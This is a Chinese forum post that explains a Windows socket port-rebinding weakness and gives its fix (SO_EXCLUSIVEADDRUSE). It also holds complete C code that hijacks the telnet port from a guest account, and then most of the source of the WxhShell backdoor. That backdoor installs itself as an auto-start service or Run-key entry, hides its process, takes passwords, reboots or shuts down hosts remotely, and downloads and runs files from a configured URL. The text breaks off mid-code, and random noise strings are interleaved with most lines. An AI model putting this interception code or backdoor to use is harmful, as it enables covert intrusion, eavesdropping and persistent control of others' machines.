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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b5-WK;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5uVSbo.  
hSg4A=y  
  saddr.sin_family = AF_INET; r )EuH.z  
R-L*N$@!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C J@G8>  
Rxg ^vM*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l*v6U'J  
TA2?Ia;@xV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l,I[r$TCf  
8&g`Uy/b  
  这意味着什么?意味着可以进行如下的攻击: lg9`Z>?  
9S .J%*F7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sQ4~oZZ  
)IFzal}o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,#NH]T`c1  
C78V/{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I;Sg 9`k=  
cZ<@1I5QK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >=T\=y  
9r5<A!1#L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]*M VVzF  
f  _ O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X\ Y:9^5  
zqDG#}3f^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 STr&"9c  
p$qpC$F  
  #include Id<3'ky<N  
  #include 'S[&-D%(3  
  #include L~WC9xguDl  
  #include    a*qf\ &Vb|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F$|Ec9  
  int main() eJ=K*t|  
  { /^m3?q[a  
  WORD wVersionRequested; n1"QHA  
  DWORD ret; [K*>W[n  
  WSADATA wsaData; `4@_Y<  
  BOOL val; X-Yy1"6m1  
  SOCKADDR_IN saddr; THFzC/~Q  
  SOCKADDR_IN scaddr; b?=>)':f  
  int err; OdZLJt?g  
  SOCKET s; g[#4`Q<.  
  SOCKET sc; I3#h  
  int caddsize; J Uf{;nt  
  HANDLE mt; ggy 7p44  
  DWORD tid;   `T-lBwH  
  wVersionRequested = MAKEWORD( 2, 2 ); ,h#U<CnP#  
  err = WSAStartup( wVersionRequested, &wsaData ); 2l8TX#K  
  if ( err != 0 ) { 3 ;N+5*-  
  printf("error!WSAStartup failed!\n"); p^E}%0#  
  return -1; Hq>"rrVhx  
  } T|/B}srm  
  saddr.sin_family = AF_INET; }Q=@$YIesD  
   0Rme}&$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n#NE.ap$&,  
?HsQ417.H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,X&(BQj h  
  saddr.sin_port = htons(23); .y)Y20=o!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4X()D {uR  
  { %Ob#GA+  
  printf("error!socket failed!\n"); MPn 6sf9M  
  return -1; $69ef[b  
  } m^9[k,;K  
  val = TRUE; [pc6!qhDG&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W@T_-pTCjK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ? >\JX  
  { N9[2k.oBH  
  printf("error!setsockopt failed!\n"); "I7 Sed7  
  return -1; b{Qg$ZJeR  
  } No'^]r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F1q a`j^'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *<5zMSZO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W=$cQ(x4Z  
SviGLv;oR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #nzVgV]  
  { g4`)n`  
  ret=GetLastError(); <+/:}S4w)  
  printf("error!bind failed!\n"); /.Fvl;!J;  
  return -1; f<Co&^A  
  } jgkJF[t`  
  listen(s,2); #Q6.r.3@x  
  while(1) cc$L56q  
  { r=`]L-}V  
  caddsize = sizeof(scaddr); #Fl5]> |  
  //接受连接请求 iJr 1w&GL$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G OzV#  
  if(sc!=INVALID_SOCKET) NY& |:F  
  { ,o_Ur.UJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Py3Y*YP  
  if(mt==NULL) 0VA$ Ige  
  { 4;_<CB  
  printf("Thread Creat Failed!\n"); o|FY-+  
  break; IhRYV`:  
  } RyJN=;5p  
  } [xrM){ItW  
  CloseHandle(mt); fV\ eksBF  
  } L, k\`9bQ  
  closesocket(s); CQ(;L{}  
  WSACleanup(); ckZZ)lW`*  
  return 0; r2Wx31j{  
  }   }I Rx$ cKV  
  DWORD WINAPI ClientThread(LPVOID lpParam) hZudVBn  
  { dWCUZ,6}  
  SOCKET ss = (SOCKET)lpParam; )(Z)yz  
  SOCKET sc; 6z(eW]p  
  unsigned char buf[4096]; XQH wu  
  SOCKADDR_IN saddr; tSZd0G<A<o  
  long num; 5GwXZ;(G  
  DWORD val; gA&+<SK(  
  DWORD ret; z ]d^%>Ef  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }`SXUM_sD`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JLZ[sWP='  
  saddr.sin_family = AF_INET; ~I+}u]J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nmc5c/C|-I  
  saddr.sin_port = htons(23); pO;BX5(x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L&i_  
  { )/:r $n7  
  printf("error!socket failed!\n"); XHN`f#(w  
  return -1; Dn}Wsd=  
  } !JkH$~  
  val = 100; |<YoH$.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X~H ~k1  
  { 77:s=)   
  ret = GetLastError(); Q]?Lg  
  return -1; vbZGs7%  
  } $oJ)W@>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F$;vPAxbK"  
  { 0%m}tfQ5  
  ret = GetLastError(); vE9M2[TJA  
  return -1; xEA%UFB.!G  
  } ][b2Q>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X1P_IB  
  { LPOZA`  
  printf("error!socket connect failed!\n"); |H,g}XWMU  
  closesocket(sc); K]b_JDEk  
  closesocket(ss); a zUEp8`|  
  return -1; NWGSUUa  
  } 49BLJ|:P?  
  while(1) /pa8>_,~  
  { ^w+jPT-n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {U`B|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .Fz5K&E=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T%Vg0Y)P;  
  num = recv(ss,buf,4096,0); Od>^yhn  
  if(num>0) WdA6Y  
  send(sc,buf,num,0); A ko}v"d  
  else if(num==0) " -Ie  
  break; PR&D67:Jy  
  num = recv(sc,buf,4096,0); /!r#=enG7  
  if(num>0) ) LA^j|Y}  
  send(ss,buf,num,0); t;R drk  
  else if(num==0) =uYz4IDB  
  break; 4-?'gN_  
  } ~vCfMV[F  
  closesocket(ss); S[TJ{ L(  
  closesocket(sc); 4HG@moYn@  
  return 0 ; f[@M  
  } 0P5!fXs*  
<z>K{:+>  
.?TPoqs7Z  
========================================================== "dKYJ&$  
")q{>tV  
下边附上一个代码,,WXhSHELL ~N i#xa  
>gt_C'  
========================================================== XZcT-w 7  
xr2ew%&o  
#include "stdafx.h" r "^ {?0  
%HRFH  
#include <stdio.h> >PsP y.  
#include <string.h> 3wS{@'  
#include <windows.h> !  Z e  
#include <winsock2.h> S;o U'KOY  
#include <winsvc.h> IZm_/  
#include <urlmon.h> iwHy!Vi-5  
s$ ONht  
#pragma comment (lib, "Ws2_32.lib") /12D >OK  
#pragma comment (lib, "urlmon.lib") ^ ExA  
,RkL|'1l  
#define MAX_USER   100 // 最大客户端连接数 x04JU$@  
#define BUF_SOCK   200 // sock buffer L"i B'=  
#define KEY_BUFF   255 // 输入 buffer u5f+%!p  
~urV`J  
#define REBOOT     0   // 重启 + *YGsM`E9  
#define SHUTDOWN   1   // 关机 BO5gwvyI  
@-z#vJ5Qe{  
#define DEF_PORT   5000 // 监听端口 AUloP?24  
XA[G F6W,Y  
#define REG_LEN     16   // 注册表键长度 /!o(Y8e>x  
#define SVC_LEN     80   // NT服务名长度 -%XvWZvZ  
~3 {C &c  
// 从dll定义API \ B~9Ue!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nk-biD/J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1}E`K#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x8a?I T.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \WM*2&  
#5?Q{ORN o  
// wxhshell配置信息 Ozk^B{{o  
struct WSCFG { o6pnTu  
  int ws_port;         // 监听端口 ~Od4( }/G  
  char ws_passstr[REG_LEN]; // 口令 Sx,O)  
  int ws_autoins;       // 安装标记, 1=yes 0=no :E|HP#iwu  
  char ws_regname[REG_LEN]; // 注册表键名 @jW_ r j:<  
  char ws_svcname[REG_LEN]; // 服务名 i<g|+}I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O&# bC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <v?9:}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (}Ql#q K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #vy:aq<bjE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "y>\ mC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (/&IBd-  
JM{S49Lx  
}; %h** L'~``  
H|='|k5Y.  
// default Wxhshell configuration 28[dTsd%  
struct WSCFG wscfg={DEF_PORT, F|*{Ma  
    "xuhuanlingzhe", d{.cIv  
    1, a;Ic!:L  
    "Wxhshell", {~ yj]+Im  
    "Wxhshell", H/_R!G8 \  
            "WxhShell Service", r}i<cyL  
    "Wrsky Windows CmdShell Service", "C$z)  
    "Please Input Your Password: ", 4C(vBKl  
  1, NyD[9R?  
  "http://www.wrsky.com/wxhshell.exe", lz!F{mR  
  "Wxhshell.exe" s-eC')w~E  
    }; 0s = h*"[  
%zHNX4  
// 消息定义模块 ^4Ra$<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U,C L*qTF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #q~SfG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1<]g7W  
char *msg_ws_ext="\n\rExit."; ,ZcW+!  
char *msg_ws_end="\n\rQuit."; zCD?5*7  
char *msg_ws_boot="\n\rReboot..."; 07"dU  
char *msg_ws_poff="\n\rShutdown..."; \5^#5_<  
char *msg_ws_down="\n\rSave to "; 9&}`.Py  
dt Q>4C"N  
char *msg_ws_err="\n\rErr!"; \4wM8j  
char *msg_ws_ok="\n\rOK!"; sk~rjH]-g$  
l=5(5\  
char ExeFile[MAX_PATH]; m?-3j65z  
int nUser = 0; Q>nq~#3?  
HANDLE handles[MAX_USER]; ZVpMR0!  
int OsIsNt; [ADr _  
9`\hG%F  
SERVICE_STATUS       serviceStatus; v*5n$UFV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W|@EKE.k  
/%Bc*k=ox  
// 函数声明 sk!v!^\_r  
int Install(void); t=iSMe  
int Uninstall(void); 9+.0ZP?  
int DownloadFile(char *sURL, SOCKET wsh); (veGztt  
int Boot(int flag); SMaC{RPQ  
void HideProc(void); m~9Qx`fi`  
int GetOsVer(void); 1)u 3  
int Wxhshell(SOCKET wsl); m~~_iz_*  
void TalkWithClient(void *cs); `rC9i5:  
int CmdShell(SOCKET sock); BQv+9(:fQB  
int StartFromService(void); FG7}MUu  
int StartWxhshell(LPSTR lpCmdLine); s+>""yi  
_`WbR&d2Id  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #d%'BUde  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fGJPZe  
i TY4X:x  
// 数据结构和表定义 SF61rm  
SERVICE_TABLE_ENTRY DispatchTable[] = Vb06z3"r  
{ T#^   
{wscfg.ws_svcname, NTServiceMain}, \pZ,gF;y  
{NULL, NULL} 4EzmH)4G  
}; #M6@{R2_  
o)'T#uK  
// 自我安装 EA%(+tJ^0  
int Install(void) s bd;Kn  
{ *52*IRH  
  char svExeFile[MAX_PATH]; go/]+vD  
  HKEY key; L,.Ae i9  
  strcpy(svExeFile,ExeFile); .MuS"R{y  
!o 2" th  
// 如果是win9x系统,修改注册表设为自启动 .Vux~A  
if(!OsIsNt) { sTdD=>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o:_}=1nh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s S8Z5k;  
  RegCloseKey(key); _{&znXf>?6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _n_lO8mK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -;'8#"{`^  
  RegCloseKey(key); QJp _>K  
  return 0; .pQH>;k]K  
    } ?:Y{c#w>  
  } JpE4 o2  
} zJ7vAL  
else { zcD&xoL\H  
9H ?er_6Yf  
// 如果是NT以上系统,安装为系统服务 bT}P":*y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CQ2{5  
if (schSCManager!=0) bCg {z b#  
{ z71.5n!C  
  SC_HANDLE schService = CreateService i;c0X+[  
  ( D61CO-E(D  
  schSCManager, Z5;1ySn{  
  wscfg.ws_svcname, $6h:j#{JE  
  wscfg.ws_svcdisp, ~WU _u,:  
  SERVICE_ALL_ACCESS, U?JZ23>bbw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {bL6%._C  
  SERVICE_AUTO_START, ,Cj1S7GFR  
  SERVICE_ERROR_NORMAL, q5?g/-_0[  
  svExeFile, tYiK#N7  
  NULL, MVz=:2)J2  
  NULL, MhNzmI&`  
  NULL, ws Lg6  
  NULL, U .hV1  
  NULL ,rc5r3  
  ); y.2_5&e/  
  if (schService!=0) Qn(e[ C6\  
  { szMh}q"u  
  CloseServiceHandle(schService); LYNd^}  
  CloseServiceHandle(schSCManager); 6#fl1GdH-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cjsQm6  
  strcat(svExeFile,wscfg.ws_svcname); ?`Qw=8]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \-N 4G1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5b3Wt7  
  RegCloseKey(key); <~t38|Ff@  
  return 0; H1rge<  
    } Jf@M>BT^A  
  } $[5ihV$u  
  CloseServiceHandle(schSCManager); y7dnXO!g9-  
} 2 ]5dSXD  
} ,i#]&f`c;5  
$q]((@i.  
return 1; {M U>5\  
} Ra<mdteZT  
9r@r\-  
// 自我卸载 FOgF'!K  
int Uninstall(void) }UZ$<81=  
{ AZt~ \qf  
  HKEY key; /4+M0Pl  
[c]X) @#S  
if(!OsIsNt) { #o_`$'>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |/C>xunzz  
  RegDeleteValue(key,wscfg.ws_regname); -}@3,G  
  RegCloseKey(key); 1HL}tG?+#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U|6ME%xm  
  RegDeleteValue(key,wscfg.ws_regname); Sx+.<]t2A  
  RegCloseKey(key);  d_gm'  
  return 0; F=yrqRS=  
  } +r *f2\S  
} 5:E7nqsNhq  
} Lg pj<H[  
else { G*uy@s:  
]R\k@a|G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L)&?$V  
if (schSCManager!=0) 6tB-  
{ z6S N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q3JoU/Sf  
  if (schService!=0) EC$wi|i  
  { bVSa}&*kM  
  if(DeleteService(schService)!=0) { x0@J~ _0  
  CloseServiceHandle(schService); (p26TN;*$5  
  CloseServiceHandle(schSCManager); %h 6?/  
  return 0; OsPx-|f S~  
  } zI8Q "b  
  CloseServiceHandle(schService); e5maZ(.;F  
  } n c:^)G  
  CloseServiceHandle(schSCManager); 'W usEME  
} sh[Yu  
} 7g}4gX's  
FYR%>Em  
return 1; ~{iBm"4  
} EMzJJe{Cv  
}legh:/*?O  
// 从指定url下载文件 o{pQDI {R  
int DownloadFile(char *sURL, SOCKET wsh) Q\&FuU  
{ `DIIJ<;g  
  HRESULT hr; frbKi _1  
char seps[]= "/"; hNmC(saMGm  
char *token; A U9Y0<  
char *file; GLQ1rT  
char myURL[MAX_PATH]; JDfkm+}uY  
char myFILE[MAX_PATH]; G$ XvxJ  
~V[pu  
strcpy(myURL,sURL); %sP C3L  
  token=strtok(myURL,seps); zg+78  
  while(token!=NULL) N[d*_KN.!  
  { YpoO:  
    file=token; EWNh:<F?  
  token=strtok(NULL,seps); zm) ]cq  
  } db$Th=s[  
zvYkWaa_Qz  
GetCurrentDirectory(MAX_PATH,myFILE); xu(5U`K  
strcat(myFILE, "\\"); A-1Wn^,> *  
strcat(myFILE, file); F2]v]]F!  
  send(wsh,myFILE,strlen(myFILE),0); K#H}=Y A  
send(wsh,"...",3,0); :&}(?=<R}L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7S LJLn3d  
  if(hr==S_OK) Ac'[(  
return 0; I8@NQ=UV0  
else &1YqPk  
return 1; PN[ `p1F  
1%Xwk2l,8b  
} U:m[* }+<  
fs+l  
// 系统电源模块 (xpj?zlmM  
int Boot(int flag) =`[08  
{ wx n D3  
  HANDLE hToken; ^5j|   
  TOKEN_PRIVILEGES tkp; mv|eEz)r  
W!8g.r4u+,  
  if(OsIsNt) { V$%%nG uE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pj>r(Cv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ fha9`  
    tkp.PrivilegeCount = 1; "_]n_[t2C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EQ'iyXhEe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .^j #gE&B  
if(flag==REBOOT) { Pf;'eOdp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2ikY.Xi6  
  return 0; 0{#,'sc;  
} kmPK |R  
else { {j@ S<PD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^ }Rqe  
  return 0; A|1 TE$  
} /uS(Z-@  
  } e}yoy+9  
  else { <h:>:%#k  
if(flag==REBOOT) { _+YCwg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0gO<]]M?  
  return 0; 6Ae<W7  
} W.TZU'%  
else { (iM"ug2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g^@ Kx5O\  
  return 0; #3vq+mcn  
} Og[NRd+  
} jOj`S%7  
sE@t$'=  
return 1; /=I&-g xC  
} 90L,.  
L9nv05B  
// win9x进程隐藏模块 ["|AD,$%  
void HideProc(void) &54fFyJF  
{ w|:UTJ>@  
..6 : _{wg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rq?:I:0  
  if ( hKernel != NULL ) Qg;A (\z  
  { O^ZOc0<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4of3#M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ac;rMwXk#  
    FreeLibrary(hKernel); qOYCQ  
  } rStfluPL  
Ab`mID:  
return; P/snzm|@  
} ^N}zePy0  
?;@xAj  
// 获取操作系统版本 x4|>HY<p?  
int GetOsVer(void) :Y/i%#*1  
{ :=vB|Ch:~  
  OSVERSIONINFO winfo; HSGM&!5mW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yzr>]"o  
  GetVersionEx(&winfo); |3{DlZ2S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j_S///  
  return 1; rOQhS]TP*  
  else Bf!i(gM  
  return 0; s$`g%H>  
} ;ZZ%(P=-  
WqP>cl2Lm  
// 客户端句柄模块 Q<W9<&VZe  
int Wxhshell(SOCKET wsl) Jv1igA21_h  
{ ?Q1(L$-=  
  SOCKET wsh; l<5O\?Vo]  
  struct sockaddr_in client; %Z~, F?  
  DWORD myID; cnr&%-  
YfL|FsCh  
  while(nUser<MAX_USER) OE)n4X  
{ ^]c/hb|X  
  int nSize=sizeof(client); Fgq"d7`9@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tn\Y:  
  if(wsh==INVALID_SOCKET) return 1; a$ a+3}\  
)R$+dPu>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7uG@ hL36  
if(handles[nUser]==0) _"n1"%Ns  
  closesocket(wsh); $O"S*)9  
else $G/h-6+8  
  nUser++; "+3p??h%Rq  
  } }@MOkj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AY4ZU CqI  
Q!K@  
  return 0; YSwAu,$jf  
} & V :q}Q  
1~:7W  
// 关闭 socket (\m4o   
void CloseIt(SOCKET wsh) jv7-i'I@  
{ {[WEA^C~Q  
closesocket(wsh); hZ|*=/3k  
nUser--; eq.K77El{J  
ExitThread(0); d%_v eVIe  
} ].53t"*  
(pM5B8U  
// 客户端请求句柄 S|!)_RL  
void TalkWithClient(void *cs) a@`15O:  
{ |_L\^T|6  
!xmvCH=2  
  SOCKET wsh=(SOCKET)cs; WccTR aq  
  char pwd[SVC_LEN]; 3a PCi>i!_  
  char cmd[KEY_BUFF]; cPA-EH  
char chr[1]; Pk/{~!+ $  
int i,j; NIufL }6\  
dr0<K[S_  
  while (nUser < MAX_USER) { kbzzage6L  
IJHNb_Cku  
if(wscfg.ws_passstr) { @ hH;d\W#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kp?):6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [tYly`F  
  //ZeroMemory(pwd,KEY_BUFF); taOD,}c|$  
      i=0; *0zdI<Oe  
  while(i<SVC_LEN) { 0<*R 0  
O{Bll;C  
  // 设置超时 yf`Nh  
  fd_set FdRead; {<0=y#@u  
  struct timeval TimeOut; i5wXT  
  FD_ZERO(&FdRead); +U/+iI>0  
  FD_SET(wsh,&FdRead); .),ql_sXr  
  TimeOut.tv_sec=8; 19-|.9m(  
  TimeOut.tv_usec=0; (|%YyRaX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S@i*+&Ot  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M mH[ 7R  
L rV`P)$T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _mVq9nBEf  
  pwd=chr[0]; 0'y9HE'e  
  if(chr[0]==0xd || chr[0]==0xa) { ,E,oz{,i(  
  pwd=0; *,q W9z  
  break; S <~"\<ED  
  } X,VOKj.%  
  i++; D?;8bI%"  
    } 2)}ic2]pn  
g]au|$L4  
  // 如果是非法用户,关闭 socket P 1`X<A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z5G<h  
} <)n8lIK  
,ErJUv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u1K;{>4lx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EIZSV>  
sLiKcR8^  
while(1) { ',GWH:B  
:SFcnYv0  
  ZeroMemory(cmd,KEY_BUFF); UjLZ!-}  
RbB y8ZVM  
      // 自动支持客户端 telnet标准   Zp'c>ty=  
  j=0; [ySO  
  while(j<KEY_BUFF) { j2O?]M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9x;CJhX  
  cmd[j]=chr[0]; !14aw9Q  
  if(chr[0]==0xa || chr[0]==0xd) { v+XB$j^H  
  cmd[j]=0; y4* }E  
  break; 3LXS}~&  
  } *s4h tt  
  j++; 57r?`'#*  
    } bxX[$q  
&w\E*$  
  // 下载文件 I2G4j/c=z  
  if(strstr(cmd,"http://")) { ^8dd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hc.r/  
  if(DownloadFile(cmd,wsh)) pzcV[E1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L ;5R*)t  
  else pw;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "fWAp*nI3t  
  } `I*W}5  
  else { 0I6[`*|SX  
S[!sJ-rG  
    switch(cmd[0]) { & h)G>Sqc  
  /H 3u^  
  // 帮助 Vs@[="  
  case '?': { AITV+=sN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W vh3Y,|3  
    break; 1=LI))nV  
  } TAfLC)  
  // 安装 E ]eVoC  
  case 'i': { 3I0=^ >A  
    if(Install()) ,G2]3 3Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w p5ghe  
    else vLQ!kB^\W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bvyX(^I[q  
    break; yZ7aH|Q81B  
    } ^7Sk`V  
  // 卸载 [k~V77w 14  
  case 'r': { R5 O{;/w  
    if(Uninstall()) >KF1]/y<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *n9t~t6GHg  
    else so[i"ZM)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pfd||Z  
    break; k.Tu#7  
    }  P%#WeQ+  
  // 显示 wxhshell 所在路径 Yphru"\$  
  case 'p': { 1rs`|iX5  
    char svExeFile[MAX_PATH]; 7R9S%  
    strcpy(svExeFile,"\n\r"); CX](^yU_  
      strcat(svExeFile,ExeFile); IIC1T{D}v  
        send(wsh,svExeFile,strlen(svExeFile),0); Jpi\n- d!  
    break; "[ f"h  
    } fq^D<c{3  
  // 重启 )$18a  
  case 'b': { >T'=4n['  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *>otz5]  
    if(Boot(REBOOT)) C.SG m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ _x2xtrH  
    else { q,b6).  
    closesocket(wsh); dWR0tS6vR`  
    ExitThread(0); e[txJ*SuO  
    } SplEY!.k  
    break; H.\gLIr  
    } x13t@b  
  // 关机 8r7}6  
  case 'd': { u=a5Z4N'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Uo:WyVj|F  
